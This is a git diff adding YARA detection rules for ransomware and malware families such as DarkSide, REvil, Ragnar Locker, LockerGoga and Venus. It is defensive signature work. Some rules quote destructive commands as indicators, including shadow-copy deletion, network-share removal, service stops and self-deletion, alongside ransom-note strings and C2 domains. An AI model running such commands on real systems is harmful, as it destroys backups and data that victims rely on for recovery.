+        reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
+        id = "322a3de5-a7e5-52b9-8648-6019954e92d7"
+    strings:
+        $consts = { 80 3D [4] 01 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] 00 00 04 00 [1-10] 00 00 00 00 [1-30] 80 3D [4] 02 [1-10] 03 00 00 00 [1-10] 03 00 00 00 [1-10] FF FF FF FF [1-10] FF FF FF FF [1-30] 03 00 00 00 [1-10] 03 00 00 00 }
+    condition:
+        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and $consts
+}
+
+rule MAL_Dropper_Win_Darkside_1 {
+    meta:
+        author = "FireEye"
+        date_created = "2021-05-11"
+        description = "Detection for on the binary that was used as the dropper leading to DARKSIDE."
+        reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
+        id = "910a581c-25a4-5d5e-acdc-6d87cbedd3cf"
+    strings:
+        $CommonDLLs1 = "KERNEL32.dll" fullword
+        $CommonDLLs2 = "USER32.dll" fullword
+        $CommonDLLs3 = "ADVAPI32.dll" fullword
+        $CommonDLLs4 = "ole32.dll" fullword
+        $KeyString1 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 57 69 6E 64 6F 77 73 2E 43 6F 6D 6D 6F 6E 2D 43 6F 6E 74 72 6F 6C 73 22 20 76 65 72 73 69 6F 6E 3D 22 36 2E 30 2E 30 2E 30 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 36 35 39 35 62 36 34 31 34 34 63 63 66 31 64 66 22 }
+        $KeyString2 = { 74 79 70 65 3D 22 77 69 6E 33 32 22 20 6E 61 6D 65 3D 22 4D 69 63 72 6F 73 6F 66 74 2E 56 43 39 30 2E 4D 46 43 22 20 76 65 72 73 69 6F 6E 3D 22 39 2E 30 2E 32 31 30 32 32 2E 38 22 20 70 72 6F 63 65 73 73 6F 72 41 72 63 68 69 74 65 63 74 75 72 65 3D 22 78 38 36 22 20 70 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 22 31 66 63 38 62 33 62 39 61 31 65 31 38 65 33 62 22 }
+        $Slashes = { 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C 7C }
+    condition:
+        filesize < 2MB and filesize > 500KB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (all of ($CommonDLLs*)) and (all of ($KeyString*)) and $Slashes
+}
+
+rule MAL_Backdoor_Win_C3_1 {
+    meta:
+        author = "FireEye"
+        date_created = "2021-05-11"
+        description = "Detection to identify the Custom Command and Control (C3) binaries."
+        md5 = "7cdac4b82a7573ae825e5edb48f80be5"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html"
+        id = "60eb022e-6f4e-5c7d-9ddf-b458a593071e"
+    strings:
+        $dropboxAPI = "Dropbox-API-Arg"
+        $knownDLLs1 = "WINHTTP.dll" fullword
+        $knownDLLs2 = "SHLWAPI.dll" fullword
+        $knownDLLs3 = "NETAPI32.dll" fullword
+        $knownDLLs4 = "ODBC32.dll" fullword
+        $tokenString1 = { 5B 78 5D 20 65 72 72 6F 72 20 73 65 74 74 69 6E 67 20 74 6F 6B 65 6E }
+        $tokenString2 = { 5B 78 5D 20 65 72 72 6F 72 20 63 72 65 61 74 69 6E 67 20 54 6F 6B 65 6E }
+        $tokenString3 = { 5B 78 5D 20 65 72 72 6F 72 20 64 75 70 6C 69 63 61 74 69 6E 67 20 74 6F 6B 65 6E }
+    condition:
+        filesize < 5MB and uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and (((all of ($knownDLLs*)) and ($dropboxAPI or (1 of ($tokenString*)))) or (all of ($tokenString*)))
+}
diff --git a/yara-Neo23x0/crime_ransom_generic.yar b/yara-Neo23x0/crime_ransom_generic.yar
new file mode 100644
index 0000000..553bdf3
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_generic.yar
@@ -0,0 +1,35 @@
+
+rule SUSP_RANSOMWARE_Indicator_Jul20 {
+   meta:
+      description = "Detects ransomware indicator"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/"
+      date = "2020-07-28"
+      score = 60
+      hash1 = "52888b5f881f4941ae7a8f4d84de27fc502413861f96ee58ee560c09c11880d6"
+      hash2 = "5e78475d10418c6938723f6cfefb89d5e9de61e45ecf374bb435c1c99dd4a473"
+      hash3 = "6cb9afff8166976bd62bb29b12ed617784d6e74b110afcf8955477573594f306"
+      id = "6036fdfd-8474-5d79-ac75-137ac2efdc77"
+   strings:
+      $ = "Decrypt.txt" ascii wide 
+      $ = "DecryptFiles.txt" ascii wide
+      $ = "Decrypt-Files.txt" ascii wide
+      $ = "DecryptFilesHere.txt" ascii wide
+      $ = "DECRYPT.txt" ascii wide 
+      $ = "DecryptFiles.txt" ascii wide
+      $ = "DECRYPT-FILES.txt" ascii wide
+      $ = "DecryptFilesHere.txt" ascii wide
+      $ = "DECRYPT_INSTRUCTION.TXT" ascii wide 
+      $ = "FILES ENCRYPTED.txt" ascii wide
+      $ = "DECRYPT MY FILES" ascii wide 
+      $ = "DECRYPT-MY-FILES" ascii wide 
+      $ = "DECRYPT_MY_FILES" ascii wide
+      $ = "DECRYPT YOUR FILES" ascii wide  
+      $ = "DECRYPT-YOUR-FILES" ascii wide 
+      $ = "DECRYPT_YOUR_FILES" ascii wide 
+      $ = "DECRYPT FILES.txt" ascii wide
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 1400KB and
+      1 of them
+}
diff --git a/yara-Neo23x0/crime_ransom_germanwiper.yar b/yara-Neo23x0/crime_ransom_germanwiper.yar
new file mode 100644
index 0000000..5ca805e
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_germanwiper.yar
@@ -0,0 +1,27 @@
+rule MAL_Ransomware_GermanWiper {
+   meta:
+      description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
+      author = "Frank Boldewin (@r3c0nst), modified by Florian Roth"
+      reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
+      date = "2019-08-05"
+      hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
+      hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
+
+      id = "e7587691-f69a-53e7-bab2-875179fbfa19"
+   strings:
+      $x_Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" ascii
+      $x_Mutex2 = "cFgxTERNWEVhM2V" ascii
+
+      // code patterns for process kills
+      $PurgeCode = { 6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ??
+                     50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8 }
+      $ProcessKill1 = "sqbcoreservice.exe" ascii
+      $ProcessKill2 = "isqlplussvc.exe"  ascii
+      $KillShadowCopies = "vssadmin.exe delete shadows" ascii
+      $Domain1 = "cdnjs.cloudflare.com" ascii
+      $Domain2 = "expandingdelegation.top" ascii
+      $RansomNote = "Entschluesselungs_Anleitung.html" ascii
+   condition:
+      uint16(0) == 0x5A4D and filesize < 1000KB and
+      ( 1 of ($x*) or 3 of them )
+}
diff --git a/yara-Neo23x0/crime_ransom_lockergoga.yar b/yara-Neo23x0/crime_ransom_lockergoga.yar
new file mode 100644
index 0000000..9e93a6f
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_lockergoga.yar
@@ -0,0 +1,26 @@
+
+rule Ransom_LockerGoga_Mar19_1 {
+   meta:
+      description = "Detects LockerGoga ransomware binaries"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.nrk.no/norge/skreddersydd-dobbeltangrep-mot-hydro-1.14480202"
+      date = "2019-03-19"
+      hash1 = "c97d9bbc80b573bdeeda3812f4d00e5183493dd0d5805e2508728f65977dda15"
+      hash2 = "7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26"
+      hash3 = "bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f"
+      id = "ba5836b9-bc47-54d4-8f7a-475ba0feaac6"
+   strings:
+      $x1 = "\\.(doc|dot|wbk|docx|dotx|docb|xlm|xlsx|xltx|xlsb|xlw|ppt|pot|pps|pptx|potx|ppsx|sldx|pdf)" wide
+      $x2 = "|[A-Za-z]:\\cl.log" wide
+      $x4 = "\\crypto-locker\\" ascii
+      $xc1 = { 00 43 00 6F 00 6D 00 70 00 61 00 6E 00 79 00 4E
+               00 61 00 6D 00 65 00 00 00 00 00 4D 00 6C 00 63
+               00 72 00 6F 00 73 00 6F 00 66 00 74 }
+      $xc2 = { 00 2E 00 6C 00 6F 00 63 00 6B 00 65 00 64 00 00
+               00 20 46 41 49 4C 45 44 20 00 00 00 00 20 00 00
+               00 20 75 6E 6B 6E 6F 77 6E 20 65 78 63 65 70 74
+               69 6F 6E }
+      $rn1 = "This may lead to the impossibility of recovery of the certain files." wide
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 4000KB and 1 of ($x*) ) or $rn1
+}
diff --git a/yara-Neo23x0/crime_ransom_prolock.yar b/yara-Neo23x0/crime_ransom_prolock.yar
new file mode 100644
index 0000000..a79624c
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_prolock.yar
@@ -0,0 +1,20 @@
+rule MAL_Prolock_Malware {
+	meta:
+		description = "Detects Prolock malware in encrypted and decrypted mode"
+		author = "Frank Boldewin (@r3c0nst)"
+		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
+		date = "2020-05-17"
+		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
+		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
+		
+		id = "269bf0c5-8315-5405-8e44-e2cc5507a36a"
+	strings:
+		$DecryptionRoutine = {01 C2 31 DB B8 ?? ?? ?? ?? 31 04 1A 81 3C 1A}
+		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
+		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
+		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
+		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
+		
+	condition:
+		((uint16(0) == 0x5A4D) or (uint16(0) == 0x4D42)) and filesize < 100KB and (($DecryptionRoutine) or (1 of ($DecryptedString*) and $CryptoCode))
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_ransom_ragna_locker.yar b/yara-Neo23x0/crime_ransom_ragna_locker.yar
new file mode 100644
index 0000000..f34617d
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_ragna_locker.yar
@@ -0,0 +1,70 @@
+import "pe"
+
+rule MAL_RANSOM_Ragna_Locker_Apr20_1 {
+   meta:
+      description = "Detects Ragna Locker Ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://otx.alienvault.com/indicator/file/c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
+      date = "2020-04-27"
+      hash1 = "c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
+      id = "67164cb4-73b7-5c4e-88f9-42379b88c641"
+   strings:
+      $x1 = "---RAGNAR SECRET---" ascii
+      $xc1 = { 0D 0A 25 73 0D 0A 0D 0A 25 73 0D 0A 25 73 0D 0A
+               25 73 0D 0A 0D 0A 25 73 0D 0A 00 00 2E 00 72 00
+               61 00 67 00 6E 00 61 00 72 00 5F }
+      $xc2 = { 00 2D 00 66 00 6F 00 72 00 63 00 65 00 00 00 00
+               00 57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C
+               00 44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00
+               00 5C 00 6E 00 6F 00 74 00 65 00 70 00 61 00 64
+               00 2E 00 65 00 78 00 65 00 }
+
+      $s1 = "bootfont.bin" wide fullword
+
+      $sc2 = { 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 00
+               00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 2E
+               00 6F 00 6C 00 64 00 00 00 54 00 6F 00 72 00 20
+               00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 }
+
+      $op1 = { c7 85 58 ff ff ff 55 00 6b 00 c7 85 5c ff ff ff }
+      $op2 = { 50 c7 85 7a ff ff ff 5c }
+      $op3 = { 8b 75 08 8a 84 0d 20 ff ff ff ff 45 08 32 06 8b }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 200KB and
+      1 of ($x*) or 4 of them
+}
+
+rule MAL_Ransom_Ragnarlocker_July_2020_1 {
+   meta:
+      description = "Detects Ragnarlocker by strings (July 2020)"
+      author = "Arkbird_SOLG"
+      reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969"
+      date = "2020-07-30"
+      hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87"
+      id = "60e09057-d9f8-5e89-8f47-c5dda32806c6"
+   strings:
+      $f1 = "bootfont.bin" fullword wide
+      $f2 = "bootmgr.efi" fullword wide
+      $f3 = "bootsect.bak" fullword wide
+      $r1 = "$!.txt" fullword wide
+      $r2 = "---BEGIN KEY R_R---" fullword ascii
+      $r3 = "!$R4GN4R_" wide
+      $r4 = "RAGNRPW" fullword ascii /* parser */
+      $r5 = "---END KEY R_R---" fullword ascii
+      $a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii    
+      $a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide /* parse disks */
+      $a3 = "WinSta0\\Default" fullword wide /* Token ref */
+      $a4 = "%s-%s-%s-%s-%s" fullword wide /* GUID parser*/
+      $a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide /* Ref crypto used */
+      $c1 = "-backup" fullword wide
+      $c2 = "-force" fullword wide
+      $c3 = "-vmback" fullword wide
+      $c4 = "-list" fullword wide
+      $s1 = ".ragn@r_" wide /* ref */
+      $s2 = "\\notepad.exe" wide /* Show ransom note to the victim*/
+      $s3 = "Opera Software" fullword wide  /* Don't touch browsers for contact him*/
+      $s4 = "Tor browser" fullword wide /*Ref ransom note*/
+   condition:
+      uint16(0) == 0x5a4d and filesize < 30KB and ( pe.imphash() == "2c2aab89a4cba444cf2729e2ed61ed4f" and ( (2 of ($f*)) and (3 of ($r*)) and (4 of ($a*)) and (2 of ($c*)) and (2 of ($s*)) ) )
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_ransom_revil.yar b/yara-Neo23x0/crime_ransom_revil.yar
new file mode 100644
index 0000000..9383865
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_revil.yar
@@ -0,0 +1,23 @@
+
+rule MAL_RANSOM_REvil_Oct20_1 {
+   meta:
+      description = "Detects REvil ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "Internal Research"
+      date = "2020-10-13"
+      hash1 = "5966c25dc1abcec9d8603b97919db57aac019e5358ee413957927d3c1790b7f4"
+      hash2 = "f66027faea8c9e0ff29a31641e186cbed7073b52b43933ba36d61e8f6bce1ab5"
+      hash3 = "f6857748c050655fb3c2192b52a3b0915f3f3708cd0a59bbf641d7dd722a804d"
+      hash4 = "fc26288df74aa8046b4761f8478c52819e0fca478c1ab674da7e1d24e1cfa501"
+      id = "0c85a2cc-3487-577f-bd12-e3effd8fc811"
+   strings:
+      $op1 = { 0f 8c 74 ff ff ff 33 c0 5f 5e 5b 8b e5 5d c3 8b }
+      $op2 = { 8d 85 68 ff ff ff 50 e8 2a fe ff ff 8d 85 68 ff }
+      $op3 = { 89 4d f4 8b 4e 0c 33 4e 34 33 4e 5c 33 8e 84 }
+      $op4 = { 8d 85 68 ff ff ff 50 e8 05 06 00 00 8d 85 68 ff }
+      $op5 = { 8d 85 68 ff ff ff 56 57 ff 75 0c 50 e8 2f }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 400KB and
+      2 of them or 4 of them
+}
diff --git a/yara-Neo23x0/crime_ransom_robinhood.yar b/yara-Neo23x0/crime_ransom_robinhood.yar
new file mode 100644
index 0000000..7b84a82
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_robinhood.yar
@@ -0,0 +1,21 @@
+
+rule MAL_RANSOM_RobinHood_May19_1 {
+   meta:
+      description = "Detects RobinHood Ransomware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/BThurstonCPTECH/status/1128489465327030277"
+      date = "2019-05-15"
+      hash1 = "21cb84fc7b33e8e31364ff0e58b078db8f47494a239dc3ccbea8017ff60807e3"
+      id = "7199c0de-c925-5399-8fa6-852604190a21"
+   strings:
+      $s1 = ".enc_robbinhood" ascii
+      $s2 = "c:\\windows\\temp\\pub.key" ascii fullword
+      $s3 = "cmd.exe /c net use * /DELETE /Y" ascii
+      $s4 = "sc.exe stop SQLAgent$SQLEXPRESS" nocase
+      $s5 = "main.EnableShadowFucks" nocase
+      $s6 = "main.EnableRecoveryFCK" nocase
+      $s7 = "main.EnableLogLaunders" nocase
+      $s8 = "main.EnableServiceFuck" nocase
+   condition:
+      uint16(0) == 0x5a4d and filesize < 8000KB and 1 of them
+}
diff --git a/yara-Neo23x0/crime_ransom_stealbit_lockbit.yar b/yara-Neo23x0/crime_ransom_stealbit_lockbit.yar
new file mode 100644
index 0000000..c37731e
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_stealbit_lockbit.yar
@@ -0,0 +1,14 @@
+rule MAL_RANSOM_Stealbit_Aug21 {
+	meta:
+		description = "Detects Stealbit used by Lockbit 2.0 Ransomware Gang"
+		author = "Frank Boldewin (@r3c0nst)"
+		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Lockbit2.Stealbit.yar"
+		date = "2021-08-12"
+		hash1 = "3407f26b3d69f1dfce76782fee1256274cf92f744c65aa1ff2d3eaaaf61b0b1d"
+		hash2 = "bd14872dd9fdead89fc074fdc5832caea4ceac02983ec41f814278130b3f943e"
+		id = "07b466cb-92b3-51f2-a702-2930bb7038c6"
+	strings:
+		$C2Decryption = {33 C9 8B C1 83 E0 0F 8A 80 ?? ?? ?? ?? 30 81 ?? ?? ?? ?? 41 83 F9 7C 72 E9 E8}
+	condition:
+		uint16(0) == 0x5A4D and filesize < 100KB and $C2Decryption
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/crime_ransom_venus.yar b/yara-Neo23x0/crime_ransom_venus.yar
new file mode 100644
index 0000000..d8f5b13
--- /dev/null
+++ b/yara-Neo23x0/crime_ransom_venus.yar
@@ -0,0 +1,39 @@
+import "pe"
+
+rule MAL_RANSOM_Venus_Nov22_1 {
+   meta:
+      description = "Detects Venus Ransomware samples"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://twitter.com/dyngnosis/status/1592588860168421376"
+      date = "2022-11-16"
+      score = 85
+      hash1 = "46f9cbc3795d6be0edd49a2c43efe6e610b82741755c5076a89eeccaf98ee834"
+      hash2 = "6d8e2d8f6aeb0f4512a53fe83b2ef7699513ebaff31735675f46d1beea3a8e05"
+      hash3 = "931cab7fbc0eb2bbc5768f8abdcc029cef76aff98540d9f5214786dccdb6a224"
+      hash4 = "969bfe42819e30e35ca601df443471d677e04c988928b63fccb25bf0531ea2cc"
+      hash5 = "db6fcd33dcb3f25890c28e47c440845b17ce2042c34ade6d6508afd461bfa21c"
+      hash6 = "ee036f333a0c4a24d9aa09848e635639e481695a9209474900eb71c9e453256b"
+      hash7 = "fa7ba459236c7b27a0429f1961b992ab87fc8b3427469fd98bfc272ae6852063"
+      id = "0f7e0ca4-c5e2-5557-92de-2e0d73035f12"
+   strings:
+      $x1 = "<html><head><title>Venus</title><style type = \"text" ascii fullword
+      $x2 = "xXBLTZKmAu9pjcfxrIK4gkDp/J9XXATjuysFRXG4rH4=" ascii fullword
+      $x3 = "%s%x%x%x%x.goodgame" wide fullword
+
+      $s1 = "/c ping localhost -n 3 > nul & del %s" ascii fullword
+      $s2 = "C:\\Windows\\%s.png" wide
+
+      $op1 = { 8b 4c 24 24 46 8b 7c 24 14 41 8b 44 24 30 81 c7 00 04 00 00 81 44 24 10 00 04 00 00 40 }
+      $op2 = { 57 c7 45 fc 00 00 00 00 7e 3f 50 33 c0 74 03 9b 6e }
+      $op3 = { 66 89 45 d4 0f 11 45 e8 e8 a8 e7 ff ff 83 c4 14 8d 45 e8 50 8d 45 a4 50 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 700KB and
+      (
+         pe.imphash() == "bb2600e94092da119ee6acbbd047be43" or
+         1 of ($x*) or
+         2 of them
+      ) 
+      or 4 of them
+}
+
diff --git a/yara-Neo23x0/crime_rat_parallax.yar b/yara-Neo23x0/crime_rat_parallax.yar
new file mode 100644
index 0000000..896b263
--- /dev/null
+++ b/yara-Neo23x0/crime_rat_parallax.yar
@@ -0,0 +1,16 @@
+
+rule MAL_crime_win32_rat_parallax_shell_bin {
+   meta:
+      description = "Detects Parallax injected code"
+      author = "@VK_Intel"
+      reference = "https://twitter.com/VK_Intel/status/1257714191902937088"
+      tlp = "white"
+      date = "2020-05-05"
+      id = "6bb337ef-3156-589a-9b2f-fa1b21699433"
+   strings:
+      $ntdll_load = {55 8b ec 81 ec d0 08 00 00 53 56 57 e8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 33 c0 b9 18 01 00 00 f3 ?? 68 02 9f e6 6a e8 ?? ?? ?? ?? 8b d8 68 40 5e c0 84 89 ?? ?? e8 ?? ?? ?? ?? 6a 00 8b f0 68 0b 1c 64 72 53 89 ?? ?? e8 ?? ?? ?? ?? 83 c4 14 89 ?? ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? 68 30 02 00 00 51 ff d0 6a 6e 58 6a 74 66 ?? ?? ?? ?? ?? ?? 58 6a 64 59 6a 6c 66 ?? ?? ?? ?? ?? ?? 58 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 33 c0 6a 2e}
+      $call_func = {81 ec bc 00 00 00 8d ?? ?? 56 50 6a 00 6a 01 ff ?? ?? e8 ?? ?? ?? ?? 8b f0 83 c4 10 85 f6 0f ?? ?? ?? ?? ?? 33 c9 89 ?? ?? 39 ?? ?? 0f ?? ?? ?? ?? ?? 8b ?? ?? 53 57 8b ?? ?? 8d ?? ?? 0f ?? ?? ?? 8b ?? ?? 8d ?? ?? 8b ?? ?? 03 fa 8b df 2b da 03 ?? ?? 80 ?? ?? 0f ?? ?? ?? ?? ?? 83 ?? ?? ?? 8b c7 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 83 ?? ?? ?? 99 89 ?? ?? 8b ca 89 ?? ?? 8d ?? ?? 99 89 ?? ?? 89 ?? ?? 8d ?? ?? 89 ?? ?? 89 ?? ?? 8b ca 99 89 ?? ?? 89 ?? ?? 8b ca 89 ?? ?? 89 ?? ?? 8d ?? ?? 6a 40 89 ?? ??}
+      $cryp_hex =  {8b ec 8b ?? ?? 25 55 55 55 55 d1 e0 8b ?? ?? d1 e9 81 e1 55 55 55 55 0b c1 89 ?? ?? 8b ?? ?? 81 e2 33 33 33 33 c1 e2 02 8b ?? ?? c1 e8 02 25 33 33 33 33 0b d0 89 ?? ?? 8b ?? ?? 81 e1 0f 0f 0f 0f c1 e1 04 8b ?? ?? c1 ea 04 81 e2 0f 0f 0f 0f 0b ca 89 ?? ?? 8b ?? ?? c1 e0 18 8b ?? ?? 81 e1 00 ff 00 00 c1 e1 08 0b c1 8b ?? ?? c1 ea 08 81 e2 00 ff 00 00 0b c2 8b ?? ?? c1 e9 18 0b c1 89 ?? ?? 8b ?? ?? 5d c3}
+   condition:
+      uint16(0) == 0x5a4d and 2 of them or all of them
+}
diff --git a/yara-Neo23x0/crime_revil_general.yar b/yara-Neo23x0/crime_revil_general.yar
new file mode 100644
index 0000000..ceb0cd7
--- /dev/null
+++ b/yara-Neo23x0/crime_revil_general.yar
@@ -0,0 +1,57 @@
+import "pe"
+
+rule APT_MAL_REvil_Kaseya_Jul21_1 {
+   meta:
+      description = "Detects malware used in the Kaseya supply chain attack"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
+      date = "2021-07-02"
+      hash1 = "1fe9b489c25bb23b04d9996e8107671edee69bd6f6def2fe7ece38a0fb35f98e"
+      hash2 = "aae6e388e774180bc3eb96dad5d5bfefd63d0eb7124d68b6991701936801f1c7"
+      hash3 = "dc6b0e8c1e9c113f0364e1c8370060dee3fcbe25b667ddeca7623a95cd21411f"
+      hash4 = "df2d6ef0450660aaae62c429610b964949812df2da1c57646fc29aa51c3f031e"
+      id = "7356f4ea-183f-52ec-a167-fc16b8bfb55a"
+   strings:
+      $s1 = "Mpsvc.dll" wide fullword
+      $s2 = ":0:4:8:<:@:D:H:L:P:T:X:\\:`:d:h:l:p:t:x:H<L<P<\\<`<" ascii fullword
+
+      $op1 = { 40 87 01 c3 6a 08 68 f8 0e 41 00 e8 ae db ff ff be 80 25 41 00 39 35 ?? 32 41 00 }
+      $op2 = { 8b 40 04 2b c2 c1 f8 02 3b c8 0f 84 56 ff ff ff 68 15 50 40 00 2b c1 6a 04 }
+      $op3 = { 74 73 db e2 e8 ad 07 00 00 68 60 1a 40 00 e8 8f 04 00 00 e8 3a 05 00 00 50 e8 25 26 00 00 }
+      $op4 = { 75 05 8b 45 fc eb 4c c7 45 f8 00 00 00 00 6a 00 8d 45 f0 50 8b 4d 0c }
+      $op5 = { 83 7d 0c 00 75 05 8b 45 fc eb 76 6a 00 68 80 00 00 00 6a 01 6a 00 }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and
+      (
+         pe.imphash() == "c36dcd2277c4a707a1a645d0f727542a" or
+         2 of them
+      )
+}
+
+rule APT_MAL_REvil_Kaseya_Jul21_2 {
+   meta:
+      description = "Detects malware used in the Kaseya supply chain attack"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b"
+      date = "2021-07-02"
+      hash1 = "0496ca57e387b10dfdac809de8a4e039f68e8d66535d5d19ec76d39f7d0a4402"
+      hash2 = "8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd"
+      hash3 = "cc0cdc6a3d843e22c98170713abf1d6ae06e8b5e34ed06ac3159adafe85e3bd6"
+      hash4 = "d5ce6f36a06b0dc8ce8e7e2c9a53e66094c2adfc93cfac61dd09efe9ac45a75f"
+      hash5 = "d8353cfc5e696d3ae402c7c70565c1e7f31e49bcf74a6e12e5ab044f306b4b20"
+      hash6 = "e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2"
+      id = "38b168d4-e761-544e-9859-eb155bbfe54a"
+   strings:
+      $opa1 = { 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 }
+      $opa2 = { 89 45 f0 8b 4d fc 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 }
+      $opa3 = { 83 c1 01 89 4d fc 81 7d f0 ff 00 00 00 77 1? ba 01 00 00 00 6b c2 00 8b 4d 08 0f b6 14 01 }
+      $opa4 = { 89 45 f4 8b 0d ?? ?0 07 10 89 4d f8 8b 15 ?? ?1 07 10 89 55 fc ff 75 fc ff 75 f8 ff 55 f4 }
+
+      $opb1 = { 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc cc }
+      $opb2 = { 18 00 10 0e 19 00 10 cc cc cc cc 8b 44 24 04 }
+      $opb3 = { 10 c4 18 00 10 bd 18 00 10 bd 18 00 10 0e 19 00 10 cc cc }
+   condition:
+      uint16(0) == 0x5a4d and
+      filesize < 3000KB and ( 2 of ($opa*) or 3 of them )
+}
diff --git a/yara-Neo23x0/crime_rombertik_carbongrabber.yar b/yara-Neo23x0/crime_rombertik_carbongrabber.yar
new file mode 100644
index 0000000..1de9479
--- /dev/null
+++ b/yara-Neo23x0/crime_rombertik_carbongrabber.yar
@@ -0,0 +1,117 @@
+/*
+	Yara Rule Set
+	Author: Florian Roth
+	Date: 2015-05-05
+	Identifier: CarbonGrabber
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Rombertik_CarbonGrabber {
+	meta:
+		description = "Detects CarbonGrabber alias Rombertik - file Copy#064046.scr"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		reference = "http://blogs.cisco.com/security/talos/rombertik"
+		date = "2015-05-05"
+		hash1 = "2f9b26b90311e62662c5946a1ac600d2996d3758"
+		hash2 = "aeb94064af2a6107a14fd32f39cb502e704cd0ab"
+		hash3 = "c2005c8d1a79da5e02e6a15d00151018658c264c" 
+		hash4 = "98223d4ec272d3a631498b621618d875dd32161d" 	
